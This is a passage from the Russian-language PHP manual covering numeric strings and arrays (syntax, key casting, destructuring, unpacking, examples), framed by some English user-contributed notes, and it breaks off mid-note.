echo "foo {Test::ONE} bar";
?>
This will output "foo {Test::one} bar".  Constants and static properties require you to break up the string.
atnak at chejz dot com 11-Apr-2004 03:53
Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string:

$string = 'a';

var_dump($string[2]);  // string(0) ""
var_dump($string[7]);  // string(0) ""
$string[7] === '';  // TRUE

It appears that anything past the end of the string gives an empty string..  However, when E_NOTICE is on, the above examples will throw the message:

Notice:  Uninitialized string offset:  N in FILE on line LINE

This message cannot be specifically masked with @$string[7], as is possible when $string itself is unset.

isset($string[7]);  // FALSE
$string[7] === NULL;  // FALSE

Even though it seems like a not-NULL value of type string, it is still considered unset.


Числовые строки

В PHP, строка (string) считается числовой, если её можно интерпретировать как целое (int) число или как число с плавающей точкой (float).

Формально с PHP 8.0.0:

WHITESPACES      \s*
LNUM             [0-9]+
DNUM             ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM    (({LNUM} | {DNUM}) [eE][+-]? {LNUM})
INT_NUM_STRING   {WHITESPACES} [+-]? {LNUM} {WHITESPACES}
FLOAT_NUM_STRING {WHITESPACES} [+-]? ({DNUM} | {EXPONENT_DNUM}) {WHITESPACES}
NUM_STRING       ({INT_NUM_STRING} | {FLOAT_NUM_STRING})

В PHP также присутствует концепция префиксной числовой строки. Это строка, которая начинается как числовая и продолжается любыми другими символами.

Замечание:

Любая строка, содержащая букву E (без учёта регистра), ограниченную цифрами, будет восприниматься как число, выраженное в научной нотации. Это может привести к неожиданным результатам.

<?php
var_dump("0D1" == "000"); // false, "0D1" не является научной нотацией
var_dump("0E1" == "000"); // true, "0E1" - это 0 * (10 ^ 1) или 0
var_dump("2E1" == "020"); // true, "2E1" - это 2 * (10 ^ 1) или 20
?>

Строки, используемые в числовых контекстах

Когда строку необходимо использовать в качестве числа (например арифметические операции, декларация целочисленного типа, и т.д.), используется следующий алгоритм действий:

  1. Если строка числовая, представляет целое число и не превышает максимально допустимого значения для типа int (определённого в PHP_INT_MAX), то она приводится к типу int. Иначе она приводится к типу float.
  2. Если в заданном контексте дозволительно использовать префиксную числовую строку, то, если начало строки представляет целое число и не превышает максимально допустимого значения для типа int (определённого в PHP_INT_MAX), то она приводится к типу int. Иначе она приводится к типу float. Также, в этом случае, выдаётся ошибка уровня E_WARNING.
  3. Если строка не числовая - выбрасывается исключение TypeError.

Поведение до PHP 8.0.0

До PHP 8.0.0, строка считалась числовой только в случае, если она начиналась с пробельных символов. Если она завершалась пробельными символами - она считалась префиксной числовой.

До PHP 8.0.0, когда строку необходимо использовать как число, использовался тот же алгоритм, что и описан выше, но с некоторыми отличиями:

  • Использование префиксной числовой строки вызывало ошибку уровня E_NOTICE, а не E_WARNING.
  • Если строка не являлась числовой, вызывалась ошибка уровня E_WARNING, а сама строка приводилась к числу 0.
До PHP 7.1.0 не вызывалась ошибка уровня ни E_NOTICE, ни E_WARNING.

<?php
$foo = 1 + "10.5"; // $foo считается за число с плавающей точкой (11.5)
$foo = 1 + "-1.3e3"; // $foo считается за число с плавающей точкой (-1299)
$foo = 1 + "bob-1.3e3"; // TypeError начиная с PHP 8.0.0. В более ранних версиях $foo считалось за целое число (1)
$foo = 1 + "bob3"; // TypeError начиная с PHP 8.0.0, В более ранних версиях $foo считалось за целое число (1)
$foo = 1 + "10 Small Pigs"; // $foo - целое (11). В PHP 8.0.0 создаётся ошибка уровня E_WARNING, а в более ранних версиях уровня E_NOTICE
$foo = 4 + "10.2 Little Piggies"; // $foo - число с плавающей точкой (14.2). В PHP 8.0.0 создаётся ошибка уровня E_WARNING, а в более ранних версиях уровня E_NOTICE
$foo = "10.0 pigs " + 1; // $foo - число с плавающей точкой (11). В PHP 8.0.0 создаётся ошибка уровня E_WARNING, а в более ранних версиях уровня E_NOTICE
$foo = "10.0 pigs " + 1.0; // $foo - число с плавающей точкой (11). В PHP 8.0.0 создаётся ошибка уровня E_WARNING, а в более ранних версиях уровня E_NOTICE
?>

User Contributed Notes

There are no user contributed notes for this page.


Массивы

На самом деле массив в PHP - это упорядоченное отображение, которое устанавливает соответствие между значением и ключом. Этот тип оптимизирован в нескольких направлениях, поэтому вы можете использовать его как собственно массив, список (вектор), хеш-таблицу (являющуюся реализацией карты), словарь, коллекцию, стек, очередь и, возможно, что-то ещё. Так как значением массива может быть другой массив PHP, можно также создавать деревья и многомерные массивы.

Объяснение этих структур данных выходит за рамки данного справочного руководства, но вы найдёте как минимум один пример по каждой из них. За дополнительной информацией вы можете обратиться к соответствующей литературе по этой обширной теме.

Синтаксис

Определение при помощи array()

Массив (тип array) может быть создан языковой конструкцией array(). В качестве параметров она принимает любое количество разделённых запятыми пар key => value (ключ => значение).

array(
    key  => value,
    key2 => value2,
    key3 => value3,
    ...
)

Запятая после последнего элемента массива необязательна и может быть опущена. Обычно это делается для однострочных массивов, то есть array(1, 2) предпочтительней array(1, 2, ). Для многострочных массивов с другой стороны обычно используется завершающая запятая, так как позволяет легче добавлять новые элементы в конец массива.

Замечание:

Существует короткий синтаксис массива, который заменяет array() на [].

Пример #1 Простой массив

<?php
$array = array(
"foo" => "bar",
"bar" => "foo",
);

// Использование синтаксиса короткого массива
$array = [
"foo" => "bar",
"bar" => "foo",
];
?>

key может быть либо типа int, либо типа string. value может быть любого типа.

Дополнительно с ключом key будут сделаны следующие преобразования:

  • Строки (string), содержащие целое число (int) (исключая случаи, когда число предваряется знаком +) будут преобразованы к типу int. Например, ключ со значением "8" будет в действительности сохранён со значением 8. С другой стороны, значение "08" не будет преобразовано, так как оно не является корректным десятичным целым.
  • Числа с плавающей точкой (float) также будут преобразованы к типу int, то есть дробная часть будет отброшена. Например, ключ со значением 8.7 будет в действительности сохранён со значением 8.
  • Тип bool также преобразовываются к типу int. Например, ключ со значением true будет сохранён со значением 1 и ключ со значением false будет сохранён со значением 0.
  • Тип null будет преобразован к пустой строке. Например, ключ со значением null будет в действительности сохранён со значением "".
  • Массивы (array) и объекты (object) не могут использоваться в качестве ключей. При подобном использовании будет генерироваться предупреждение: Недопустимый тип смещения (Illegal offset type).

Если несколько элементов в объявлении массива используют одинаковый ключ, то только последний будет использоваться, а все другие будут перезаписаны.

Пример #2 Пример преобразования типов и перезаписи элементов

<?php
$array = array(
1 => "a",
"1" => "b",
1.5 => "c",
true => "d",
);
var_dump($array);
?>

Результат выполнения данного примера:

array(1) {
  [1]=>
  string(1) "d"
}

Так как все ключи в вышеприведённом примере преобразуются к 1, значение будет перезаписано на каждый новый элемент и останется только последнее присвоенное значение "d".

Массивы в PHP могут содержать ключи типов int и string одновременно, так как PHP не делает различия между индексированными и ассоциативными массивами.

Пример #3 Смешанные ключи типов int и string

<?php
$array = array(
"foo" => "bar",
"bar" => "foo",
100 => -100,
-100 => 100,
);
var_dump($array);
?>

Результат выполнения данного примера:

array(4) {
  ["foo"]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "foo"
  [100]=>
  int(-100)
  [-100]=>
  int(100)
}

Параметр key является необязательным. Если он не указан, PHP будет использовать предыдущее наибольшее значение ключа типа int, увеличенное на 1.

Пример #4 Индексированные массивы без ключа

<?php
$array = array("foo", "bar", "hallo", "world");
var_dump($array);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(5) "hallo"
  [3]=>
  string(5) "world"
}

Возможно указать ключ только для некоторых элементов и пропустить для других:

Пример #5 Ключи для некоторых элементов

<?php
$array = array(
"a",
"b",
6 => "c",
"d",
);
var_dump($array);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [6]=>
  string(1) "c"
  [7]=>
  string(1) "d"
}

Как вы видите последнее значение "d" было присвоено ключу 7. Это произошло потому, что самое большое значение ключа целого типа перед этим было 6.

Пример #6 Расширенный пример преобразования типов и перезаписи элементов

<?php
$array = array(
1 => 'a',
'1' => 'b', // значение "b" перезапишет значение "a"
1.5 => 'c', // значение "c" перезапишет значение "b"
-1 => 'd',
'01' => 'e', // поскольку это не целочисленная строка, она НЕ перезапишет ключ для 1
'1.5' => 'f', // поскольку это не целочисленная строка, она НЕ перезапишет ключ для 1
true => 'g', // значение "g" перезапишет значение "c"
false => 'h',
'' => 'i',
null => 'j', // значение "j" перезапишет значение "i"
'k', // значение "k" присваивается ключу 2. Потому что самый большой целочисленный ключ до этого был 1
2 => 'l', // значение "l" перезапишет значение "k"
);

var_dump($array);
?>

Результат выполнения данного примера:

array(7) {
  [1]=>
  string(1) "g"
  [-1]=>
  string(1) "d"
  ["01"]=>
  string(1) "e"
  ["1.5"]=>
  string(1) "f"
  [0]=>
  string(1) "h"
  [""]=>
  string(1) "j"
  [2]=>
  string(1) "l"
}

Этот пример включает все вариации преобразования ключей и перезаписи элементов

Доступ к элементам массива с помощью квадратных скобок

Доступ к элементам массива может быть осуществлён с помощью синтаксиса array[key].

Пример #7 Доступ к элементам массива

<?php
$array = array(
"foo" => "bar",
42 => 24,
"multi" => array(
"dimensional" => array(
"array" => "foo"
)
)
);

var_dump($array["foo"]);
var_dump($array[42]);
var_dump($array["multi"]["dimensional"]["array"]);
?>

Результат выполнения данного примера:

string(3) "bar"
int(24)
string(3) "foo"

Замечание:

До PHP 8.0.0 квадратные и фигурные скобки могли использоваться взаимозаменяемо для доступа к элементам массива (например, в примере выше $array[42] и $array{42} делали то же самое). Синтаксис фигурных скобок устарел в PHP 7.4.0 и больше не поддерживается в PHP 8.0.0.

Пример #8 Разыменование массива

<?php
function getArray() {
return array(1, 2, 3);
}

$secondElement = getArray()[1];
?>

Замечание:

Попытка доступа к неопределённому ключу в массиве - это то же самое, что и попытка доступа к любой другой неопределённой переменной: будет сгенерирована ошибка уровня E_WARNING (ошибка уровня E_NOTICE до PHP 8.0.0), и результат будет null.

Замечание:

Попытка разыменовать не массив, а скалярное значение, не являющееся строкой (string), отдаст null, в то время как разыменовывание строки (string) трактует её как индексированный массив. При такой попытке до PHP 7.4.0 не выдаётся сообщение об ошибке. Начиная с PHP 7.4.0, выдаётся ошибка E_NOTICE; с PHP 8.0.0 выдаётся ошибка E_WARNING.

Создание/модификация с помощью синтаксиса квадратных скобок

Существующий массив может быть изменён путём явной установкой значений в нем.

Это выполняется присвоением значений массиву (array) с указанием в скобках ключа. Кроме того, ключ можно опустить, в результате получится пустая пара скобок ([]).

    $arr[key] = value;
    $arr[] = value;
    // key может быть int или string
    // value может быть любым значением любого типа

Если массив $arr ещё не существует или для него задано значение null или false, он будет создан. Таким образом, это ещё один способ определить массив array. Однако такой способ применять не рекомендуется, так как если переменная $arr уже содержит некоторое значение (например, значение типа string из переменной запроса), то это значение останется на месте и [] может на самом деле означать доступ к символу в строке. Лучше инициализировать переменную путём явного присваивания значения.

Замечание: Начиная с PHP 7.1.0, используя в оператор "пустой индекс" на строке, приведёт к фатальной ошибке. Ранее, в этом случае, строка молча преобразовывалась в массив.

Замечание: Начиная с PHP 8.1.0, создание нового массива с помощью значения false устарело. Создание нового массива из null и неопределённого значения по-прежнему разрешено.

Для изменения определённого значения просто присвойте новое значение элементу, используя его ключ. Если вы хотите удалить пару ключ/значение, вам необходимо использовать функцию unset().

<?php
$arr = array(5 => 1, 12 => 2);

$arr[] = 56; // В этом месте скрипта это
// то же самое, что и $arr[13] = 56;

$arr["x"] = 42; // Это добавляет к массиву новый
// элемент с ключом "x"

unset($arr[5]); // Это удаляет элемент из массива

unset($arr); // Это удаляет массив полностью
?>

Замечание:

Как уже говорилось выше, если ключ не был указан, то будет взят максимальный из существующих целочисленных (int) индексов, и новым ключом будет это максимальное значение (в крайнем случае 0) плюс 1. Если целочисленных (int) индексов ещё нет, то ключом будет 0 (ноль).

Учтите, что максимальное целое значение ключа не обязательно существует в массиве в данный момент. Оно могло просто существовать в массиве какое-то время, с тех пор как он был переиндексирован в последний раз. Следующий пример это иллюстрирует:

<?php
// Создаём простой массив.
$array = array(1, 2, 3, 4, 5);
print_r($array);

// Теперь удаляем каждый элемент, но сам массив оставляем нетронутым:
foreach ($array as $i => $value) {
unset($array[$i]);
}
print_r($array);

// Добавляем элемент (обратите внимание, что новым ключом будет 5, вместо 0).
$array[] = 6;
print_r($array);

// Переиндексация:
$array = array_values($array);
$array[] = 7;
print_r($array);
?>

Результат выполнения данного примера:

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)
Array
(
)
Array
(
    [5] => 6
)
Array
(
    [0] => 6
    [1] => 7
)

Деструктуризация массива

Массивы могут быть деструктурированы с помощью языковых конструкций [] (начиная с PHP 7.1.0) или list(). Эти конструкции могут быть использованы для деструктуризации массива на отдельные переменные.

<?php
$source_array = ['foo', 'bar', 'baz'];
[$foo, $bar, $baz] = $source_array;
echo $foo; // выведет "foo"
echo $bar; // выведет "bar"
echo $baz; // выведет "baz"
?>

Деструктуризация массива может быть использована в конструкции foreach для деструктуризации многомерного массива во время итерации по нему.

<?php
$source_array = [
[1, 'John'],
[2, 'Jane'],
];
foreach ($source_array as [$id, $name]) {
// логика работы с $id и $name
}
?>

Элементы массива будут игнорироваться, если переменная не указана. Деструктуризация массива всегда начинается с индекса 0.

<?php
$source_array = ['foo', 'bar', 'baz'];

// Присваивание элементу с индексом 2 переменной $baz
[, , $baz] = $source_array;

echo $baz; // выведет "baz"
?>

Начиная с PHP 7.1.0, ассоциативные массивы также могут быть деструктурированы. Это позволяет легче выбирать нужный элемент в массивах с числовым индексом, так как индекс может быть указан явно.

<?php
$source_array = ['foo' => 1, 'bar' => 2, 'baz' => 3];

// Присваивание элементу с индексом 'baz' переменной $three
['baz' => $three] = $source_array;

echo $three; // выведет 3

$source_array = ['foo', 'bar', 'baz'];

// Присваивание элементу с индексом 2 переменной $baz
[2 => $baz] = $source_array;

echo $baz; // выведет "baz"
?>

Деструктуризация массива может быть использована для простой замены двух переменных местами.

<?php
$a = 1;
$b = 2;
[$b, $a] = [$a, $b];
echo $a; // выведет 2
echo $b; // выведет 1
?>

Замечание:

Оператор ... не поддерживается в присваиваниях.

Замечание:

Попытка получить доступ к ключу массива, который не был определён, аналогична обращению к любой другой неопределённой переменной: будет выдано сообщение об ошибке уровня E_WARNING (ошибка уровня E_NOTICE до PHP 8.0.0), а результатом будет null.

Полезные функции

Для работы с массивами существует достаточное количество полезных функций. Смотрите раздел функции для работы с массивами.

Замечание:

Функция unset() позволяет удалять ключи массива. Обратите внимание, что массив НЕ будет переиндексирован. Если вы действительно хотите поведения в стиле "удалить и сдвинуть", можно переиндексировать массив используя array_values().

<?php
$a = array(1 => 'один', 2 => 'два', 3 => 'три');
unset($a[2]);
/* даст массив, представленный так:
$a = array(1 => 'один', 3 => 'три');
а НЕ так:
$a = array(1 => 'один', 2 => 'три');
*/

$b = array_values($a);
// Теперь $b это array(0 => 'один', 1 => 'три')
?>

Управляющая конструкция foreach существует специально для массивов. Она предоставляет возможность легко пройтись по массиву.

Что можно и нельзя делать с массивами

Почему $foo[bar] неверно?

Всегда заключайте в кавычки строковый литерал в индексе ассоциативного массива. К примеру, пишите $foo['bar'], а не $foo[bar]. Но почему? Часто в старых скриптах можно встретить следующий синтаксис:

<?php
$foo[bar] = 'враг';
echo $foo[bar];
// и т.д.
?>

Это неверно, хотя и работает. Причина в том, что этот код содержит неопределённую константу (bar), а не строку ('bar' - обратите внимание на кавычки). Это работает, потому что PHP автоматически преобразует "голую строку" (не заключённую в кавычки строку, которая не соответствует ни одному из известных символов языка) в строку со значением этой "голой строки". Например, если константа с именем bar не определена, то PHP заменит bar на строку 'bar' и использует её.

Внимание

Резервный вариант для обработки неопределённой константы как пустой строки вызывает ошибку уровня E_NOTICE. Начиная с PHP 7.2.0 поведение объявлено устаревшим и вызывает ошибку уровня E_WARNING. Начиная с PHP 8.0.0, удалено и выбрасывает исключение Error.

Замечание: Это не означает, что нужно всегда заключать ключ в кавычки. Нет необходимости заключать в кавычки константы или переменные, поскольку это помешает PHP обрабатывать их.

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
// Простой массив:
$array = array(1, 2);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
echo "\nПроверяем $i: \n";
echo "Плохо: " . $array['$i'] . "\n";
echo "Хорошо: " . $array[$i] . "\n";
echo "Плохо: {$array['$i']}\n";
echo "Хорошо: {$array[$i]}\n";
}
?>

Результат выполнения данного примера:

Проверяем 0:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Плохо:
Хорошо: 1
Notice: Undefined index:  $i in /path/to/script.html on line 11
Плохо:
Хорошо: 1

Проверяем 1:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Плохо:
Хорошо: 2
Notice: Undefined index:  $i in /path/to/script.html on line 11
Плохо:
Хорошо: 2

Дополнительные примеры, демонстрирующие этот факт:

<?php
// Показываем все ошибки
error_reporting(E_ALL);

$arr = array('fruit' => 'apple', 'veggie' => 'carrot');

// Верно
print $arr['fruit']; // apple
print $arr['veggie']; // carrot

// Неверно. Это работает, но из-за неопределённой константы с
// именем fruit также вызывает ошибку PHP уровня E_NOTICE
//
// Notice: Use of undefined constant fruit - assumed 'fruit' in...
print $arr[fruit]; // apple

// Давайте определим константу, чтобы продемонстрировать, что
// происходит. Мы присвоим константе с именем fruit значение 'veggie'.
define('fruit', 'veggie');

// Теперь обратите внимание на разницу
print $arr['fruit']; // apple
print $arr[fruit]; // carrot

// Внутри строки это нормально. Внутри строк константы не
// рассматриваются, так что ошибки E_NOTICE здесь не произойдёт
print "Hello $arr[fruit]"; // Hello apple

// С одним исключением: фигурные скобки вокруг массивов внутри
// строк позволяют константам там находиться
print "Hello {$arr[fruit]}"; // Hello carrot
print "Hello {$arr['fruit']}"; // Hello apple

// Это не будет работать и вызовет ошибку обработки, такую как:
// Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING'
// Это, конечно, также действует и с суперглобальными переменными в строках
print "Hello $arr['fruit']";
print "Hello $_GET['foo']";

// Ещё одна возможность - конкатенация
print "Hello " . $arr['fruit']; // Hello apple
?>

Если вы переведёте error_reporting в режим отображения ошибок уровня E_NOTICE (например, такой как E_ALL), вы сразу увидите эти ошибки. По умолчанию error_reporting установлена их не отображать.

Как указано в разделе синтаксис, внутри квадратных скобок ('[' и ']') должно быть выражение. Это означает, что можно писать вот так:

<?php
echo $arr[somefunc($bar)];
?>

Это пример использования возвращаемого функцией значения в качестве индекса массива. PHP известны также и константы:

<?php
$error_descriptions[E_ERROR] = "Произошла фатальная ошибка";
$error_descriptions[E_WARNING] = "PHP сообщает о предупреждении";
$error_descriptions[E_NOTICE] = "Это лишь неофициальное замечание";
?>

Обратите внимание, что E_ERROR - это такой же верный идентификатор, как и bar в первом примере. Но последний пример по сути эквивалентен такой записи:

<?php
$error_descriptions[1] = "Произошла фатальная ошибка";
$error_descriptions[2] = "PHP сообщает о предупреждении";
$error_descriptions[8] = "Это лишь неофициальное замечание";
?>

поскольку E_ERROR соответствует 1 и т.д.

Так что же в этом плохого?

Когда-нибудь в будущем команда разработчиков PHP возможно пожелает добавить ещё одну константу или ключевое слово, либо константа из другого кода может вмешаться и тогда у вас могут возникнуть проблемы. Например, вы уже не можете использовать таким образом слова empty и default, поскольку они являются зарезервированными ключевыми словами.

Замечание: Повторим, внутри строки (string), заключённой в двойные кавычки, корректно не окружать индексы массива кавычками, поэтому "$foo[bar]" является верной записью. Более подробно почему - смотрите вышеприведённые примеры, а также раздел по обработке переменных в строках.

Преобразование в массив

Для любого из типов int, float, string, bool и resource, преобразование значения в массив даёт результатом массив с одним элементом (с индексом 0), являющимся скалярным значением, с которого вы начали. Другими словами, (array)$scalarValue - это точно то же самое, что и array($scalarValue).

Если вы преобразуете в массив объект (object), вы получите в качестве элементов массива свойства (переменные-члены) этого объекта. Ключами будут имена переменных-членов, с некоторыми примечательными исключениями: целочисленные свойства станут недоступны; к закрытым полям класса (private) спереди будет дописано имя класса; к защищённым полям класса (protected) спереди будет добавлен символ '*'. Эти добавленные значения с обоих сторон также имеют NUL байты. Неинициализированные типизированные свойства автоматически отбрасываются.

<?php
class A {
private $B;
protected $C;
public $D;
function __construct()
{
$this->{1} = null;
}
}
var_export((array) new A());
?>

Результат выполнения данного примера:

array (
  '' . "\0" . 'A' . "\0" . 'B' => NULL,
  '' . "\0" . '*' . "\0" . 'C' => NULL,
  'D' => NULL,
  1 => NULL,
)

Это может вызвать несколько неожиданное поведение:

<?php
class A {
private $A; // Это станет '\0A\0A'
}
class B extends A {
private $A; // Это станет '\0B\0A'
public $AA; // Это станет 'AA'
}
var_dump((array) new B());
?>

Результат выполнения данного примера:

array(3) {
  ["BA"]=>
  NULL
  ["AA"]=>
  NULL
  ["AA"]=>
  NULL
}

Вышеприведённый код покажет 2 ключа с именем 'AA', хотя один из них на самом деле имеет имя '\0A\0A'.

Если вы преобразуете в массив значение null, вы получите пустой массив.

Сравнение

Массивы можно сравнивать при помощи функции array_diff() и операторов массивов.

Распаковка массива

Массив с префиксом ... будет распакован во время определения массива. Только массивы и объекты, которые реализуют интерфейс Traversable, могут быть распакованы. Распаковка массива с помощью ... доступна, начиная с PHP 7.4.0.

Массив можно распаковывать несколько раз и добавлять обычные элементы до или после оператора ...:

Пример #9 Простая распаковка массива

<?php
// Использование короткого синтаксиса массива.
// Также работает с синтаксисом array().
$arr1 = [1, 2, 3];
$arr2 = [...$arr1]; // [1, 2, 3]
$arr3 = [0, ...$arr1]; // [0, 1, 2, 3]
$arr4 = [...$arr1, ...$arr2, 111]; // [1, 2, 3, 1, 2, 3, 111]
$arr5 = [...$arr1, ...$arr1]; // [1, 2, 3, 1, 2, 3]
function getArr() {
return ['a', 'b'];
}
$arr6 = [...getArr(), 'c' => 'd']; // ['a', 'b', 'c' => 'd']
?>

Распаковка массива с помощью оператора ... следует семантике функции array_merge(). То есть более поздние строковые ключи перезаписывают более ранние, а целочисленные ключи перенумеровываются:

Пример #10 Распаковка массива с дублирующим ключом

<?php
// строковый ключ
$arr1 = ["a" => 1];
$arr2 = ["a" => 2];
$arr3 = ["a" => 0, ...$arr1, ...$arr2];
var_dump($arr3); // ["a" => 2]
// целочисленный ключ
$arr4 = [1, 2, 3];
$arr5 = [4, 5, 6];
$arr6 = [...$arr4, ...$arr5];
var_dump($arr6); // [1, 2, 3, 4, 5, 6]
// Который [0 => 1, 1 => 2, 2 => 3, 3 => 4, 4 => 5, 5 => 6]
// где исходные целочисленные ключи не были сохранены.
?>

Замечание:

Ключи, которые не являются ни целыми числами, ни строками, вызывают ошибку TypeError. Такие ключи могут быть сгенерированы только объектом Traversable.

Замечание:

До PHP 8.1 распаковка массива со строковым ключом не поддерживалась:

<?php
$arr1 = [1, 2, 3];
$arr2 = ['a' => 4];
$arr3 = [...$arr1, ...$arr2];
// Ошибка: невозможно распаковать массив со строковыми ключами в example.php:5
$arr4 = [1, 2, 3];
$arr5 = [4, 5];
$arr6 = [...$arr4, ...$arr5]; // работает. [1, 2, 3, 4, 5]
?>

Примеры

Тип массив в PHP является очень гибким, вот несколько примеров:

<?php
// это
$a = array( 'color' => 'red',
'taste' => 'sweet',
'shape' => 'round',
'name' => 'apple',
4 // ключом будет 0
);

$b = array('a', 'b', 'c');

// . . .полностью соответствует
$a = array();
$a['color'] = 'red';
$a['taste'] = 'sweet';
$a['shape'] = 'round';
$a['name'] = 'apple';
$a[] = 4; // ключом будет 0

$b = array();
$b[] = 'a';
$b[] = 'b';
$b[] = 'c';

// после выполнения этого кода, $a будет массивом
// array('color' => 'red', 'taste' => 'sweet', 'shape' => 'round',
// 'name' => 'apple', 0 => 4), а $b будет
// array(0 => 'a', 1 => 'b', 2 => 'c'), или просто array('a', 'b', 'c').
?>

Пример #11 Использование array()

<?php
// Массив как карта (свойств)
$map = array( 'version' => 4,
'OS' => 'Linux',
'lang' => 'english',
'short_tags' => true
);

// исключительно числовые ключи
$array = array( 7,
8,
0,
156,
-10
);
// это то же самое, что и array(0 => 7, 1 => 8, ...)

$switching = array( 10, // ключ = 0
5 => 6,
3 => 7,
'a' => 4,
11, // ключ = 6 (максимальным числовым индексом было 5)
'8' => 2, // ключ = 8 (число!)
'02' => 77, // ключ = '02'
0 => 12 // значение 10 будет перезаписано на 12
);

// пустой массив
$empty = array();
?>

Пример #12 Коллекция

<?php
$colors = array('red', 'blue', 'green', 'yellow');

foreach ($colors as $color) {
echo "Вам нравится $color?\n";
}

?>

Результат выполнения данного примера:

Вам нравится red?
Вам нравится blue?
Вам нравится green?
Вам нравится yellow?

Изменение значений массива напрямую возможно путём передачи их по ссылке.

Пример #13 Изменение элемента в цикле

<?php
foreach ($colors as &$color) {
$color = strtoupper($color);
}
unset($color); /* это нужно для того, чтобы последующие записи в
$color не меняли последний элемент массива */

print_r($colors);
?>

Результат выполнения данного примера:

Array
(
    [0] => RED
    [1] => BLUE
    [2] => GREEN
    [3] => YELLOW
)

Следующий пример создаёт массив, начинающийся с единицы.

Пример #14 Индекс, начинающийся с единицы

<?php
$firstquarter = array(1 => 'Январь', 'Февраль', 'Март');
print_r($firstquarter);
?>

Результат выполнения данного примера:

Array
(
    [1] => 'Январь'
    [2] => 'Февраль'
    [3] => 'Март'
)

Пример #15 Заполнение массива

<?php
// заполняем массив всеми элементами из директории
$handle = opendir('.');
while (false !== ($file = readdir($handle))) {
$files[] = $file;
}
closedir($handle);
?>

Массивы упорядочены. Вы можете изменять порядок элементов, используя различные функции сортировки. Для дополнительной информации смотрите раздел функции для работы с массивами. Вы можете подсчитать количество элементов в массиве с помощью функции count().

Пример #16 Сортировка массива

<?php
sort($files);
print_r($files);
?>

Поскольку значение массива может быть чем угодно, им также может быть другой массив. Таким образом вы можете создавать рекурсивные и многомерные массивы.

Пример #17 Рекурсивные и многомерные массивы

<?php
$fruits = array ( "fruits" => array ( "a" => "апельсин",
"b" => "банан",
"c" => "яблоко"
),
"numbers" => array ( 1,
2,
3,
4,
5,
6
),
"holes" => array ( "первая",
5 => "вторая",
"третья"
)
);

// Несколько примеров доступа к значениям предыдущего массива
echo $fruits["holes"][5]; // напечатает "вторая"
echo $fruits["fruits"]["a"]; // напечатает "апельсин"
unset($fruits["holes"][0]); // удалит "первая"

// Создаст новый многомерный массив
$juices["apple"]["green"] = "good";
?>

Обратите внимание, что при присваивании массива всегда происходит копирование значения. Чтобы скопировать массив по ссылке, вам нужно использовать оператор ссылки.

<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 изменился,
// $arr1 всё ещё array(2, 3)

$arr3 = &$arr1;
$arr3[] = 4; // теперь $arr1 и $arr3 одинаковы
?>

User Contributed Notes

Tanx Xan 09-Nov-2023 01:11
Alternative to associative arrays destructuring example above:

$source_array = ['foo' => 1, 'bar' => 2, 'baz' => 3];

// Assign the element at index 'baz' to the variable $three
// ['baz' => $three] = $source_array; original example
[, , $three] = array_values($source_array); //alternative example

echo $three;    // prints 3
info at q-dev dot nl 18-Jul-2023 12:32
This function makes (assoc.) array creation much easier:

<?php
function arr(...$array){ return $array; }
?>

It allows for short syntax like:

<?php
$arr = arr(x: 1, y: 2, z: 3);
?>

Instead of:

<?php
$arr = ["x" => 1, "y" => 2, "z" => 3];
// or
$arr2 = array("x" => 1, "y" => 2, "z" => 3);
?>

Sadly PHP 8.2 doesn't support this named arguments in the "array" function/language construct.
phplatino at gmail dot com 31-Jul-2021 01:40
to know the depth (dimension) of a ARRAY, you can use this:

function Dim_Ar($A, $i){
    if(!is_array($A))return 0;
    $t[] = 1;
    foreach($A AS $e)if(is_array($e))$t[] = Dim_Ar($e, ++ $i) + 1;
    return max($t);
    }

and use with:

$Q = ARRAY(ARRAY(ARRAY()), ARRAY(ARRAY()));// here depth/dimension is three

echo Dim_Ar($Q, 0);
dylanfj700 at gmail dot com 10-Mar-2020 03:50
// Before php 5.4
$array = array(1,2,3);

// since php 5.4 , short syntax
$array = [1,2,3];

// I recommend using the short syntax if you have php version >= 5.4
anisgazig at gmail dot com 11-Dec-2018 03:06
//array keys are always integer and string data type and array values are all data type
//type casting and overwriting(data type of array key)
//----------------------------------------------------
$arr = array(
1=>"a",//int(1)
"3"=>"b",//int(3)
"08"=>"c",//string(2)"08"
"80"=>"d",//int(80)
"0"=>"e",//int(0)
"Hellow"=>"f",//string(6)"Hellow"
"10Hellow"=>"h",//string(8)"10Hellow"
1.5=>"j",//int(1.5)
"1.5"=>"k",//string(3)"1.5"
0.0=>"l",//int(0)
false=>"m",//int(false)
true=>"n",//int(true)
"true"=>"o",//string(4)"true"
"false"=>"p",//string(5)"false"
null=>"q",//string(0)""
NULL=>"r",//string(0)"" note null and NULL are same
"NULL"=>"s",//string(4)"NULL" ,,,In last element of multiline array,comma is better to used.
);
//check the data type name of key
foreach ($arr as $key => $value) {
var_dump($key);
echo "<br>";
}

//NOte :array and object data type in keys are Illegal ofset.......
Denise Ignatova 24-Dec-2017 10:57
When creating arrays , if we have an element with the same value as another element from the same array, we would expect PHP instead of creating new zval container to increase the refcount and point the duplicate symbol to the same zval. This is true except for value type integer.
Example:

$arr = ['bebe' => 'Bob', 'age' => 23, 'too' => 23 ];
xdebug_debug_zval( 'arr' );

Output:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=0, is_ref=0)int 23
  'too' => (refcount=0, is_ref=0)int 23

but :
$arr = ['bebe' => 'Bob', 'age' => 23, 'too' => '23' ];
xdebug_debug_zval( 'arr' );

will produce:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=0, is_ref=0)int 23
  'too' => (refcount=1, is_ref=0)string '23' (length=2)
or :

